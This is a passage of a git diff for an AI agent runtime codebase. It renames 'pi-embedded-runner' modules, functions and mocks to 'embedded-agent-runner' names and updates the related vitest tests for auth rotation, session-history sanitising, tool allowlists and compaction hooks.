runEmbeddedPiAgentInline({ + const result = await runEmbeddedAgentInline({ sessionId: "session:test", sessionKey: "agent:test:cooldown-probe", sessionFile: path.join(workspaceDir, "session.jsonl"), @@ -1389,7 +1389,7 @@ describe("runEmbeddedPiAgent auth profile rotation", () => { }), ); - const result = await runEmbeddedPiAgentInline({ + const result = await runEmbeddedAgentInline({ sessionId: "session:test", sessionKey: "agent:test:overloaded-cooldown-probe", sessionFile: path.join(workspaceDir, "session.jsonl"), @@ -1437,7 +1437,7 @@ describe("runEmbeddedPiAgent auth profile rotation", () => { }), ); - const result = await runEmbeddedPiAgentInline({ + const result = await runEmbeddedAgentInline({ sessionId: "session:test", sessionKey: "agent:test:billing-cooldown-probe-no-fallbacks", sessionFile: path.join(workspaceDir, "session.jsonl"), @@ -1468,7 +1468,7 @@ describe("runEmbeddedPiAgent auth profile rotation", () => { }); await expectFailoverError( - runEmbeddedPiAgentInline({ + runEmbeddedAgentInline({ sessionId: "session:test", sessionKey: "agent:support:cooldown-failover", sessionFile: path.join(workspaceDir, "session.jsonl"), @@ -1513,7 +1513,7 @@ describe("runEmbeddedPiAgent auth profile rotation", () => { }); await expectFailoverError( - runEmbeddedPiAgentInline({ + runEmbeddedAgentInline({ sessionId: "session:test", sessionKey: "agent:test:disabled-failover", sessionFile: path.join(workspaceDir, "session.jsonl"), @@ -1549,7 +1549,7 @@ describe("runEmbeddedPiAgent auth profile rotation", () => { await fs.writeFile(authStatePath, JSON.stringify({ version: 1, usageStats: {} })); await expectFailoverError( - runEmbeddedPiAgentInline({ + runEmbeddedAgentInline({ sessionId: "session:test", sessionKey: "agent:test:auth-unavailable", sessionFile: path.join(workspaceDir, "session.jsonl"), @@ -1588,7 +1588,7 @@ describe("runEmbeddedPiAgent auth profile rotation", () => { let thrown: unknown; try { - await runEmbeddedPiAgentInline({ + await runEmbeddedAgentInline({ sessionId: "session:test", sessionKey: "agent:test:billing-failover-active-model", sessionFile: path.join(workspaceDir, "session.jsonl"), diff --git a/src/agents/pi-embedded-runner.sanitize-session-history.policy.test.ts b/src/agents/embedded-agent-runner.sanitize-session-history.policy.test.ts similarity index 96% rename from src/agents/pi-embedded-runner.sanitize-session-history.policy.test.ts rename to src/agents/embedded-agent-runner.sanitize-session-history.policy.test.ts index e0d852712e0..ce74e73b92f 100644 --- a/src/agents/pi-embedded-runner.sanitize-session-history.policy.test.ts +++ b/src/agents/embedded-agent-runner.sanitize-session-history.policy.test.ts @@ -9,11 +9,11 @@ import { type SanitizeSessionHistoryHarness, sanitizeSnapshotChangedOpenAIReasoning, sanitizeWithOpenAIResponses, -} from "./pi-embedded-runner.sanitize-session-history.test-harness.js"; +} from "./embedded-agent-runner.sanitize-session-history.test-harness.js"; import { makeZeroUsageSnapshot } from "./usage.js"; vi.mock( - "./pi-embedded-helpers.js", + "./embedded-agent-helpers.js", async () => await createSanitizeSessionHistoryHelpersMock({ isGoogleModelApi: vi.fn() }), ); diff --git a/src/agents/pi-embedded-runner.sanitize-session-history.test-harness.ts b/src/agents/embedded-agent-runner.sanitize-session-history.test-harness.ts similarity index 93% rename from src/agents/pi-embedded-runner.sanitize-session-history.test-harness.ts rename to src/agents/embedded-agent-runner.sanitize-session-history.test-harness.ts index 93da203cdaa..ee1bd975d5e 100644 --- a/src/agents/pi-embedded-runner.sanitize-session-history.test-harness.ts +++ b/src/agents/embedded-agent-runner.sanitize-session-history.test-harness.ts @@ -1,6 +1,6 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { SessionManager } from "@earendil-works/pi-coding-agent"; import { expect, vi } from "vitest"; +import type { AgentMessage } from "./runtime/index.js"; +import type { SessionManager } from "./sessions/index.js"; import type { TranscriptPolicy } from "./transcript-policy.js"; type SessionEntry = { type: string; customType: string; data: unknown }; @@ -15,7 +15,7 @@ export type SanitizeSessionHistoryFn = (params: { policy?: TranscriptPolicy; preserveLatestAssistantThinking?: boolean; }) => Promise; -type SanitizeSessionHistoryMockedHelpers = typeof import("./pi-embedded-helpers.js"); +type SanitizeSessionHistoryMockedHelpers = typeof import("./embedded-agent-helpers.js"); export type SanitizeSessionHistoryHarness = { sanitizeSessionHistory: SanitizeSessionHistoryFn; mockedHelpers: SanitizeSessionHistoryMockedHelpers; @@ -63,7 +63,7 @@ export function makeSimpleUserMessages(): AgentMessage[] { export async function createSanitizeSessionHistoryHelpersMock(extra: Record = {}) { return { - ...(await vi.importActual("./pi-embedded-helpers.js")), + ...(await vi.importActual("./embedded-agent-helpers.js")), sanitizeSessionMessagesImages: vi.fn(async (msgs) => msgs), ...extra, }; @@ -107,9 +107,9 @@ export async function createSanitizeSessionHistoryProviderHookRuntimeMock( export async function loadSanitizeSessionHistoryWithCleanMocks(): Promise { vi.resetModules(); vi.resetAllMocks(); - const mockedHelpers = await import("./pi-embedded-helpers.js"); + const mockedHelpers = await import("./embedded-agent-helpers.js"); vi.mocked(mockedHelpers.sanitizeSessionMessagesImages).mockImplementation(async (msgs) => msgs); - const mod = await import("./pi-embedded-runner/replay-history.js"); + const mod = await import("./embedded-agent-runner/replay-history.js"); return { sanitizeSessionHistory: mod.sanitizeSessionHistory, mockedHelpers, diff --git a/src/agents/pi-embedded-runner.sanitize-session-history.test.ts b/src/agents/embedded-agent-runner.sanitize-session-history.test.ts similarity index 99% rename from src/agents/pi-embedded-runner.sanitize-session-history.test.ts rename to src/agents/embedded-agent-runner.sanitize-session-history.test.ts index 008ad26dbbd..14ed8b9f607 100644 --- a/src/agents/pi-embedded-runner.sanitize-session-history.test.ts +++ b/src/agents/embedded-agent-runner.sanitize-session-history.test.ts @@ -1,5 +1,5 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { AssistantMessage, ThinkingContent, UserMessage, Usage } from "@earendil-works/pi-ai"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; +import type { AssistantMessage, ThinkingContent, UserMessage, Usage } from "openclaw/plugin-sdk/llm"; import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; import { expectOpenAIResponsesStrictSanitizeCall, @@ -14,16 +14,16 @@ import { type SanitizeSessionHistoryFn, sanitizeWithOpenAIResponses, TEST_SESSION_ID, -} from "./pi-embedded-runner.sanitize-session-history.test-harness.js"; -import { validateReplayTurns } from "./pi-embedded-runner/replay-history.js"; -import { OMITTED_ASSISTANT_REASONING_TEXT } from "./pi-embedded-runner/thinking.js"; +} from "./embedded-agent-runner.sanitize-session-history.test-harness.js"; +import { validateReplayTurns } from "./embedded-agent-runner/replay-history.js"; +import { OMITTED_ASSISTANT_REASONING_TEXT } from "./embedded-agent-runner/thinking.js"; import { castAgentMessage, castAgentMessages } from "./test-helpers/agent-message-fixtures.js"; import { extractToolCallsFromAssistant } from "./tool-call-id.js"; import type { TranscriptPolicy } from "./transcript-policy.js"; import { makeZeroUsageSnapshot } from "./usage.js"; -vi.mock("./pi-embedded-helpers.js", async () => ({ - ...(await vi.importActual("./pi-embedded-helpers.js")), +vi.mock("./embedded-agent-helpers.js", async () => ({ + ...(await vi.importActual("./embedded-agent-helpers.js")), isGoogleModelApi: vi.fn(), sanitizeSessionMessagesImages: vi.fn(async (msgs) => msgs), })); diff --git a/src/agents/pi-embedded-runner.splitsdktools.test.ts b/src/agents/embedded-agent-runner.splitsdktools.test.ts similarity index 82% rename from src/agents/pi-embedded-runner.splitsdktools.test.ts rename to src/agents/embedded-agent-runner.splitsdktools.test.ts index 084ddc872b7..70201657294 100644 --- a/src/agents/pi-embedded-runner.splitsdktools.test.ts +++ b/src/agents/embedded-agent-runner.splitsdktools.test.ts @@ -1,10 +1,10 @@ import { describe, expect, it } from "vitest"; -import { splitSdkTools } from "./pi-embedded-runner.js"; +import { splitSdkTools } from "./embedded-agent-runner.js"; import { collectRegisteredToolNames, toSessionToolAllowlist, -} from "./pi-embedded-runner/tool-name-allowlist.js"; -import { createStubTool } from "./test-helpers/pi-tool-stubs.js"; +} from "./embedded-agent-runner/tool-name-allowlist.js"; +import { createStubTool } from "./test-helpers/agent-tool-stubs.js"; describe("splitSdkTools", () => { const tools = [ @@ -43,7 +43,7 @@ describe("splitSdkTools", () => { ]); }); - it("keeps OpenClaw-managed custom tools in Pi's session allowlist", () => { + it("keeps OpenClaw-managed custom tools in OpenClaw runtime's session allowlist", () => { const { customTools } = splitSdkTools({ tools: [createStubTool("read"), createStubTool("sessions_spawn")], sandboxEnabled: true, diff --git a/src/agents/embedded-agent-runner.ts b/src/agents/embedded-agent-runner.ts new file mode 100644 index 00000000000..e192b6ed590 --- /dev/null +++ b/src/agents/embedded-agent-runner.ts @@ -0,0 +1,26 @@ +export { compactEmbeddedAgentSession } from "./embedded-agent-runner/compact.queued.js"; +export { applyExtraParamsToAgent } from "./embedded-agent-runner/extra-params.js"; + +export { resolveEmbeddedSessionLane } from "./embedded-agent-runner/lanes.js"; +export { runEmbeddedAgent } from "./embedded-agent-runner/run.js"; +export { + abortAndDrainEmbeddedAgentRun, + abortEmbeddedAgentRun, + isEmbeddedAgentRunActive, + isEmbeddedAgentRunStreaming, + queueEmbeddedAgentMessage, + queueEmbeddedAgentMessageWithOutcome, + resolveActiveEmbeddedRunSessionId, + resolveActiveEmbeddedRunSessionId as resolveActiveEmbeddedAgentRunSessionId, + resolveActiveEmbeddedRunSessionIdBySessionFile, + waitForEmbeddedAgentRunEnd, +} from "./embedded-agent-runner/runs.js"; +export { buildEmbeddedSandboxInfo } from "./embedded-agent-runner/sandbox-info.js"; +export { createSystemPromptOverride } from "./embedded-agent-runner/system-prompt.js"; +export { splitSdkTools } from "./embedded-agent-runner/tool-split.js"; +export type { + EmbeddedAgentMeta, + EmbeddedAgentCompactResult, + EmbeddedAgentRunMeta, + EmbeddedAgentRunResult, +} from "./embedded-agent-runner/types.js"; diff --git a/src/agents/pi-embedded-runner/abort.ts b/src/agents/embedded-agent-runner/abort.ts similarity index 100% rename from src/agents/pi-embedded-runner/abort.ts rename to src/agents/embedded-agent-runner/abort.ts diff --git a/src/agents/embedded-agent-runner/aliases.test.ts b/src/agents/embedded-agent-runner/aliases.test.ts new file mode 100644 index 00000000000..0b3f339678d --- /dev/null +++ b/src/agents/embedded-agent-runner/aliases.test.ts @@ -0,0 +1,23 @@ +import { describe, expect, it } from "vitest"; +import { normalizeEmbeddedAgentRuntime } from "../agent-runtime-id.js"; +import * as embeddedAgentRunner from "../embedded-agent-runner.js"; +import * as embeddedAgent from "../embedded-agent.js"; + +describe("embedded runner compatibility aliases", () => { + it("keeps the embedded-agent barrel bound to the runner implementation", () => { + expect(embeddedAgent.runEmbeddedAgent).toBe(embeddedAgentRunner.runEmbeddedAgent); + expect(embeddedAgent.compactEmbeddedAgentSession).toBe( + embeddedAgentRunner.compactEmbeddedAgentSession, + ); + expect(embeddedAgent.abortEmbeddedAgentRun).toBe(embeddedAgentRunner.abortEmbeddedAgentRun); + }); + + it("normalizes shipped runtime aliases", () => { + expect(normalizeEmbeddedAgentRuntime("pi")).toBe("openclaw"); + expect(normalizeEmbeddedAgentRuntime("codex-app-server")).toBe("codex"); + }); + + it("does not rewrite custom runtime ids", () => { + expect(normalizeEmbeddedAgentRuntime("custom-harness")).toBe("custom-harness"); + }); +}); diff --git a/src/agents/pi-embedded-runner/cache-ttl.test.ts b/src/agents/embedded-agent-runner/cache-ttl.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/cache-ttl.test.ts rename to src/agents/embedded-agent-runner/cache-ttl.test.ts diff --git a/src/agents/pi-embedded-runner/cache-ttl.ts b/src/agents/embedded-agent-runner/cache-ttl.ts similarity index 97% rename from src/agents/pi-embedded-runner/cache-ttl.ts rename to src/agents/embedded-agent-runner/cache-ttl.ts index 85e02c08965..4885bb2fb8c 100644 --- a/src/agents/pi-embedded-runner/cache-ttl.ts +++ b/src/agents/embedded-agent-runner/cache-ttl.ts @@ -1,12 +1,12 @@ +import { + isAnthropicFamilyCacheTtlEligible, + isAnthropicModelRef, +} from "../../llm/providers/stream-wrappers/anthropic-family-cache-semantics.js"; import { resolveProviderCacheTtlEligibility } from "../../plugins/provider-runtime.js"; import { normalizeLowercaseStringOrEmpty, normalizeOptionalLowercaseString, } from "../../shared/string-coerce.js"; -import { - isAnthropicFamilyCacheTtlEligible, - isAnthropicModelRef, -} from "./anthropic-family-cache-semantics.js"; import { isGooglePromptCacheEligible } from "./prompt-cache-retention.js"; type CustomEntryLike = { type?: unknown; customType?: unknown; data?: unknown }; diff --git a/src/agents/pi-embedded-runner/compact-reasons.test.ts b/src/agents/embedded-agent-runner/compact-reasons.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/compact-reasons.test.ts rename to src/agents/embedded-agent-runner/compact-reasons.test.ts diff --git a/src/agents/pi-embedded-runner/compact-reasons.ts b/src/agents/embedded-agent-runner/compact-reasons.ts similarity index 100% rename from src/agents/pi-embedded-runner/compact-reasons.ts rename to src/agents/embedded-agent-runner/compact-reasons.ts diff --git a/src/agents/pi-embedded-runner/compact.hooks.harness.ts b/src/agents/embedded-agent-runner/compact.hooks.harness.ts similarity index 93% rename from src/agents/pi-embedded-runner/compact.hooks.harness.ts rename to src/agents/embedded-agent-runner/compact.hooks.harness.ts index b10c1dab859..34928070745 100644 --- a/src/agents/pi-embedded-runner/compact.hooks.harness.ts +++ b/src/agents/embedded-agent-runner/compact.hooks.harness.ts @@ -78,7 +78,7 @@ export const resolveSessionAgentIdsMock = vi.fn(() => ({ sessionAgentId: "main", })); export const estimateTokensMock = vi.fn((_message?: unknown) => 10); -export const resolveAgentHarnessPolicyMock = vi.fn(() => ({ runtime: "pi" })); +export const resolveAgentHarnessPolicyMock = vi.fn(() => ({ runtime: "openclaw" })); export const resolveContextWindowInfoMock = vi.fn(() => ({ tokens: 128_000 })); function createDefaultSessionMessages(): unknown[] { return [ @@ -100,8 +100,8 @@ export const createOpenClawCodingToolsMock = vi.fn(() => []); export const guardSessionManagerMock = vi.fn(() => ({ flushPendingToolResults: vi.fn(), })); -export const applyPiCompactionSettingsFromConfigMock = vi.fn(); -export const createPreparedEmbeddedPiSettingsManagerMock = vi.fn(() => ({ +export const applyAgentCompactionSettingsFromConfigMock = vi.fn(); +export const createPreparedEmbeddedAgentSettingsManagerMock = vi.fn(() => ({ getGlobalSettings: vi.fn(() => ({})), })); export const listRegisteredPluginAgentPromptGuidanceMock = vi.fn((params?: { surface?: string }) => @@ -278,6 +278,10 @@ export function resetCompactSessionStateMocks(): void { resolveSandboxContextMock.mockResolvedValue(null); maybeCompactAgentHarnessSessionMock.mockReset(); maybeCompactAgentHarnessSessionMock.mockResolvedValue(undefined); + resolveAgentHarnessPolicyMock.mockReset(); + resolveAgentHarnessPolicyMock.mockReturnValue({ runtime: "openclaw" }); + resolveContextWindowInfoMock.mockReset(); + resolveContextWindowInfoMock.mockReturnValue({ tokens: 128_000 }); rotateTranscriptAfterCompactionMock.mockReset(); rotateTranscriptAfterCompactionMock.mockResolvedValue({ rotated: false }); enqueueCommandInLaneMock.mockReset(); @@ -326,7 +330,7 @@ export function resetCompactHooksHarnessMocks(): void { modelRegistry: {}, }); resolveAgentHarnessPolicyMock.mockReset(); - resolveAgentHarnessPolicyMock.mockReturnValue({ runtime: "pi" }); + resolveAgentHarnessPolicyMock.mockReturnValue({ runtime: "openclaw" }); resolveContextWindowInfoMock.mockReset(); resolveContextWindowInfoMock.mockReturnValue({ tokens: 128_000 }); @@ -346,16 +350,16 @@ export function resetCompactHooksHarnessMocks(): void { guardSessionManagerMock.mockReturnValue({ flushPendingToolResults: vi.fn(), }); - applyPiCompactionSettingsFromConfigMock.mockReset(); - createPreparedEmbeddedPiSettingsManagerMock.mockReset(); - createPreparedEmbeddedPiSettingsManagerMock.mockReturnValue({ + applyAgentCompactionSettingsFromConfigMock.mockReset(); + createPreparedEmbeddedAgentSettingsManagerMock.mockReset(); + createPreparedEmbeddedAgentSettingsManagerMock.mockReturnValue({ getGlobalSettings: vi.fn(() => ({})), }); } export async function loadCompactHooksHarness(): Promise<{ - compactEmbeddedPiSessionDirect: typeof import("./compact.js").compactEmbeddedPiSessionDirect; - compactEmbeddedPiSession: typeof import("./compact.queued.js").compactEmbeddedPiSession; + compactEmbeddedAgentSessionDirect: typeof import("./compact.js").compactEmbeddedAgentSessionDirect; + compactEmbeddedAgentSession: typeof import("./compact.queued.js").compactEmbeddedAgentSession; testing: typeof import("./compact.js").testing; onSessionTranscriptUpdate: typeof import("../../sessions/transcript-events.js").onSessionTranscriptUpdate; }> { @@ -409,6 +413,10 @@ export async function loadCompactHooksHarness(): Promise<{ resolveAgentHarnessPolicy: resolveAgentHarnessPolicyMock, })); + vi.doMock("../harness/runtime-plugin.js", () => ({ + ensureSelectedAgentHarnessPlugin: vi.fn(async () => undefined), + })); + vi.doMock("../../plugins/provider-runtime.js", () => ({ prepareProviderRuntimeAuth: vi.fn(async () => ({ resolvedApiKey: undefined })), resolveProviderReasoningOutputModeWithPlugin: vi.fn(() => undefined), @@ -433,18 +441,7 @@ export async function loadCompactHooksHarness(): Promise<{ }; }); - vi.doMock("@earendil-works/pi-ai/oauth", async () => { - const actual = await vi.importActual( - "@earendil-works/pi-ai/oauth", - ); - return { - ...actual, - getOAuthApiKey: vi.fn(), - getOAuthProviders: vi.fn(() => []), - }; - }); - - vi.doMock("@earendil-works/pi-coding-agent", () => ({ + vi.doMock("../sessions/index.js", () => ({ AuthStorage: function AuthStorage() {}, ModelRegistry: function ModelRegistry() {}, createAgentSession: vi.fn(async () => { @@ -479,7 +476,9 @@ export async function loadCompactHooksHarness(): Promise<{ }; }, SessionManager: { - open: vi.fn(() => ({})), + open: vi.fn(() => ({ + buildSessionContext: vi.fn(() => ({ messages: sessionMessages })), + })), }, SettingsManager: { create: vi.fn(() => ({})), @@ -492,10 +491,10 @@ export async function loadCompactHooksHarness(): Promise<{ guardSessionManager: guardSessionManagerMock, })); - vi.doMock("../pi-settings.js", () => ({ - applyPiAutoCompactionGuard: vi.fn(() => ({ supported: true, disabled: false })), - applyPiCompactionSettingsFromConfig: applyPiCompactionSettingsFromConfigMock, - ensurePiCompactionReserveTokens: vi.fn(), + vi.doMock("../agent-settings.js", () => ({ + applyAgentAutoCompactionGuard: vi.fn(() => ({ supported: true, disabled: false })), + applyAgentCompactionSettingsFromConfig: applyAgentCompactionSettingsFromConfigMock, + ensureAgentCompactionReserveTokens: vi.fn(), isSilentOverflowProneModel: vi.fn(() => false), resolveCompactionReserveTokensFloor: vi.fn(() => 0), })); @@ -569,7 +568,7 @@ export async function loadCompactHooksHarness(): Promise<{ resolveBootstrapContextForRun: vi.fn(async () => ({ contextFiles: [] })), })); - vi.doMock("../pi-bundle-mcp-tools.js", () => ({ + vi.doMock("../bundle-mcp-tools.js", () => ({ retireSessionMcpRuntime: vi.fn(async () => true), createBundleMcpToolRuntime: vi.fn(async () => ({ tools: [], @@ -577,7 +576,7 @@ export async function loadCompactHooksHarness(): Promise<{ })), })); - vi.doMock("../pi-bundle-lsp-runtime.js", () => ({ + vi.doMock("../bundle-lsp-runtime.js", () => ({ createBundleLspToolRuntime: vi.fn(async () => ({ tools: [], sessions: [], @@ -597,7 +596,7 @@ export async function loadCompactHooksHarness(): Promise<{ resolveChannelMessageToolHints: vi.fn(() => undefined), })); - vi.doMock("../pi-tools.js", () => ({ + vi.doMock("../agent-tools.js", () => ({ createOpenClawCodingTools: createOpenClawCodingToolsMock, resolveProcessToolScopeKey: ({ scopeKey, @@ -798,7 +797,7 @@ export async function loadCompactHooksHarness(): Promise<{ }; }); - vi.doMock("../pi-embedded-helpers.js", () => ({ + vi.doMock("../embedded-agent-helpers.js", () => ({ ensureSessionHeader: vi.fn(async () => {}), pickFallbackThinkingLevel: vi.fn((params: { message?: string; attempted?: Set }) => params.message?.includes("Reasoning is mandatory") && !params.attempted?.has("minimal") @@ -809,8 +808,8 @@ export async function loadCompactHooksHarness(): Promise<{ validateGeminiTurns: vi.fn((m: unknown[]) => m), })); - vi.doMock("../pi-project-settings.js", () => ({ - createPreparedEmbeddedPiSettingsManager: createPreparedEmbeddedPiSettingsManagerMock, + vi.doMock("../agent-project-settings.js", () => ({ + createPreparedEmbeddedAgentSettingsManager: createPreparedEmbeddedAgentSettingsManagerMock, })); vi.doMock("./sandbox-info.js", () => ({ @@ -855,7 +854,7 @@ export async function loadCompactHooksHarness(): Promise<{ return { ...compactModule, - compactEmbeddedPiSession: compactQueuedModule.compactEmbeddedPiSession, + compactEmbeddedAgentSession: compactQueuedModule.compactEmbeddedAgentSession, onSessionTranscriptUpdate: transcriptEvents.onSessionTranscriptUpdate, }; } diff --git a/src/agents/pi-embedded-runner/compact.hooks.test.ts b/src/agents/embedded-agent-runner/compact.hooks.test.ts similarity index 94% rename from src/agents/pi-embedded-runner/compact.hooks.test.ts rename to src/agents/embedded-agent-runner/compact.hooks.test.ts index 19e62646421..29ec920e41e 100644 --- a/src/agents/pi-embedded-runner/compact.hooks.test.ts +++ b/src/agents/embedded-agent-runner/compact.hooks.test.ts @@ -1,11 +1,11 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; import { applyExtraParamsToAgentMock, - applyPiCompactionSettingsFromConfigMock, + applyAgentCompactionSettingsFromConfigMock, buildEmbeddedSystemPromptMock, contextEngineCompactMock, - createPreparedEmbeddedPiSettingsManagerMock, + createPreparedEmbeddedAgentSettingsManagerMock, createOpenClawCodingToolsMock, enqueueCommandInLaneMock, ensureRuntimePluginsLoaded, @@ -35,8 +35,8 @@ import { triggerInternalHook, } from "./compact.hooks.harness.js"; -let compactEmbeddedPiSessionDirect: typeof import("./compact.js").compactEmbeddedPiSessionDirect; -let compactEmbeddedPiSession: typeof import("./compact.queued.js").compactEmbeddedPiSession; +let compactEmbeddedAgentSessionDirect: typeof import("./compact.js").compactEmbeddedAgentSessionDirect; +let compactEmbeddedAgentSession: typeof import("./compact.queued.js").compactEmbeddedAgentSession; let compactTesting: typeof import("./compact.js").testing; let onSessionTranscriptUpdate: typeof import("../../sessions/transcript-events.js").onSessionTranscriptUpdate; @@ -178,8 +178,8 @@ async function runCompactionHooks(params: { sessionKey?: string; messageProvider beforeAll(async () => { const loaded = await loadCompactHooksHarness(); - compactEmbeddedPiSessionDirect = loaded.compactEmbeddedPiSessionDirect; - compactEmbeddedPiSession = loaded.compactEmbeddedPiSession; + compactEmbeddedAgentSessionDirect = loaded.compactEmbeddedAgentSessionDirect; + compactEmbeddedAgentSession = loaded.compactEmbeddedAgentSession; compactTesting = loaded.testing; onSessionTranscriptUpdate = loaded.onSessionTranscriptUpdate; }); @@ -188,7 +188,7 @@ beforeEach(() => { resetCompactHooksHarnessMocks(); }); -describe("compactEmbeddedPiSessionDirect hooks", () => { +describe("compactEmbeddedAgentSessionDirect hooks", () => { beforeEach(() => { ensureRuntimePluginsLoaded.mockReset(); triggerInternalHook.mockClear(); @@ -216,7 +216,7 @@ describe("compactEmbeddedPiSessionDirect hooks", () => { modelRegistry: {}, } as never); - await compactEmbeddedPiSessionDirect({ + await compactEmbeddedAgentSessionDirect({ sessionId: "session-1", sessionFile: "/tmp/session.jsonl", workspaceDir: "/tmp/workspace", @@ -238,7 +238,7 @@ describe("compactEmbeddedPiSessionDirect hooks", () => { modelRegistry: {}, } as never); - await compactEmbeddedPiSessionDirect({ + await compactEmbeddedAgentSessionDirect({ sessionId: "session-1", sessionFile: "/tmp/session.jsonl", workspaceDir: "/tmp/workspace", @@ -253,7 +253,7 @@ describe("compactEmbeddedPiSessionDirect hooks", () => { }); it("uses sandboxSessionKey only for compaction sandbox resolution", async () => { - await compactEmbeddedPiSessionDirect({ + await compactEmbeddedAgentSessionDirect({ sessionId: "session-1", sessionKey: "agent:main:main", sandboxSessionKey: "agent:main:telegram:default:direct:12345", @@ -269,7 +269,7 @@ describe("compactEmbeddedPiSessionDirect hooks", () => { }); it("uses subagent prompt surface and guidance for compacted subagent prompt rebuilds", async () => { - await compactEmbeddedPiSessionDirect({ + await compactEmbeddedAgentSessionDirect({ sessionId: "session-1", sessionKey: "agent:main:subagent:worker", sessionFile: "/tmp/session.jsonl", @@ -289,7 +289,7 @@ describe("compactEmbeddedPiSessionDirect hooks", () => { }); it("uses ACP prompt surface and guidance for compacted ACP prompt rebuilds", async () => { - await compactEmbeddedPiSessionDirect({ + await compactEmbeddedAgentSessionDirect({ sessionId: "session-1", sessionKey: "agent:codex:acp:worker", sessionFile: "/tmp/session.jsonl", @@ -367,7 +367,7 @@ describe("compactEmbeddedPiSessionDirect hooks", () => { }); it("preserves full sender identity when building compaction tools", async () => { - await compactEmbeddedPiSessionDirect({ + await compactEmbeddedAgentSessionDirect({ sessionId: "session-1", sessionFile: "/tmp/session.jsonl", workspaceDir: "/tmp/workspace", @@ -386,7 +386,7 @@ describe("compactEmbeddedPiSessionDirect hooks", () => { }); it("uses the caller context token budget during runtime compaction", async () => { - await compactEmbeddedPiSessionDirect({ + await compactEmbeddedAgentSessionDirect({ sessionId: "session-1", sessionFile: "/tmp/session.jsonl", workspaceDir: "/tmp/workspace", @@ -399,10 +399,10 @@ describe("compactEmbeddedPiSessionDirect hooks", () => { expectRecordFields(mockCallArg(guardSessionManagerMock, 0, 1), { contextWindowTokens: 64_000, }); - expectRecordFields(mockCallArg(createPreparedEmbeddedPiSettingsManagerMock), { + expectRecordFields(mockCallArg(createPreparedEmbeddedAgentSettingsManagerMock), { contextTokenBudget: 64_000, }); - expectRecordFields(mockCallArg(applyPiCompactionSettingsFromConfigMock), { + expectRecordFields(mockCallArg(applyAgentCompactionSettingsFromConfigMock), { contextTokenBudget: 64_000, }); }); @@ -410,7 +410,7 @@ describe("compactEmbeddedPiSessionDirect hooks", () => { it("clamps the caller context token budget to the compaction model", async () => { resolveContextWindowInfoMock.mockReturnValueOnce({ tokens: 32_000 }); - await compactEmbeddedPiSessionDirect({ + await compactEmbeddedAgentSessionDirect({ sessionId: "session-1", sessionFile: "/tmp/session.jsonl", workspaceDir: "/tmp/workspace", @@ -443,7 +443,7 @@ describe("compactEmbeddedPiSessionDirect hooks", () => { details: { ok: true }, }); - const result = await compactEmbeddedPiSessionDirect({ + const result = await compactEmbeddedAgentSessionDirect({ sessionId: "session-1", sessionKey: TEST_SESSION_KEY, sessionFile: "/tmp/session.jsonl", @@ -505,7 +505,7 @@ describe("compactEmbeddedPiSessionDirect hooks", () => { details: { ok: true }, }); - const result = await compactEmbeddedPiSessionDirect({ + const result = await compactEmbeddedAgentSessionDirect({ sessionId: "session-1", sessionKey: TEST_SESSION_KEY, sessionFile: "/tmp/session.jsonl", @@ -550,7 +550,7 @@ describe("compactEmbeddedPiSessionDirect hooks", () => { }); }); - it("routes OpenAI compaction through the selected Codex runtime provider before auth", async () => { + it("uses the selected Codex runtime provider for OpenAI compaction context windows", async () => { resolveAgentHarnessPolicyMock.mockReturnValue({ runtime: "codex" }); resolveModelMock.mockImplementation((provider = "openai", modelId = "fake") => ({ model: { provider, api: "responses", id: modelId, input: [] }, @@ -559,7 +559,7 @@ describe("compactEmbeddedPiSessionDirect hooks", () => { modelRegistry: {}, })); - const result = await compactEmbeddedPiSessionDirect({ + const result = await compactEmbeddedAgentSessionDirect({ sessionId: "session-1", sessionKey: TEST_SESSION_KEY, sessionFile: "/tmp/session.jsonl", @@ -583,8 +583,12 @@ describe("compactEmbeddedPiSessionDirect hooks", () => { }); expect(result.ok).toBe(true); - expect(mockCallArg(resolveModelMock)).toBe("openai-codex"); + expect(mockCallArg(resolveModelMock)).toBe("openai"); expect(mockCallArg(resolveModelMock, 0, 1)).toBe("gpt-5.5"); + expectRecordFields(mockCallArg(resolveContextWindowInfoMock), { + provider: "openai-codex", + modelId: "gpt-5.5", + }); }); it("preserves direct OpenAI API-key compaction when no Codex auth is configured", async () => { @@ -596,7 +600,7 @@ describe("compactEmbeddedPiSessionDirect hooks", () => { modelRegistry: {}, })); - const result = await compactEmbeddedPiSessionDirect({ + const result = await compactEmbeddedAgentSessionDirect({ sessionId: "session-1", sessionKey: TEST_SESSION_KEY, sessionFile: "/tmp/session.jsonl", @@ -619,7 +623,7 @@ describe("compactEmbeddedPiSessionDirect hooks", () => { }); it("uses Codex auth for runtime model loading while preserving OpenAI context config", async () => { - resolveAgentHarnessPolicyMock.mockReturnValue({ runtime: "pi" }); + resolveAgentHarnessPolicyMock.mockReturnValue({ runtime: "openclaw" }); resolveModelMock.mockImplementation((provider = "openai", modelId = "fake") => ({ model: { provider, api: "responses", id: modelId, input: [], contextWindow: 1_000_000 }, error: null, @@ -627,7 +631,7 @@ describe("compactEmbeddedPiSessionDirect hooks", () => { modelRegistry: {}, })); - const result = await compactEmbeddedPiSessionDirect({ + const result = await compactEmbeddedAgentSessionDirect({ sessionId: "session-1", sessionKey: TEST_SESSION_KEY, sessionFile: "/tmp/session.jsonl", @@ -647,7 +651,6 @@ describe("compactEmbeddedPiSessionDirect hooks", () => { "openai-codex": ["openai-codex:work"], }, }, - agents: { defaults: { embeddedHarness: { runtime: "pi" } } }, } as never, }); @@ -694,7 +697,7 @@ describe("compactEmbeddedPiSessionDirect hooks", () => { }; const configBefore = structuredClone(config); - const result = await compactEmbeddedPiSessionDirect({ + const result = await compactEmbeddedAgentSessionDirect({ sessionId: "session-1", sessionKey: TEST_SESSION_KEY, sessionFile: "/tmp/session.jsonl", @@ -736,7 +739,7 @@ describe("compactEmbeddedPiSessionDirect hooks", () => { Object.assign(new Error("400 invalid request body"), { status: 400 }), ); - const result = await compactEmbeddedPiSessionDirect({ + const result = await compactEmbeddedAgentSessionDirect({ sessionId: "session-1", sessionKey: TEST_SESSION_KEY, sessionFile: "/tmp/session.jsonl", @@ -782,7 +785,7 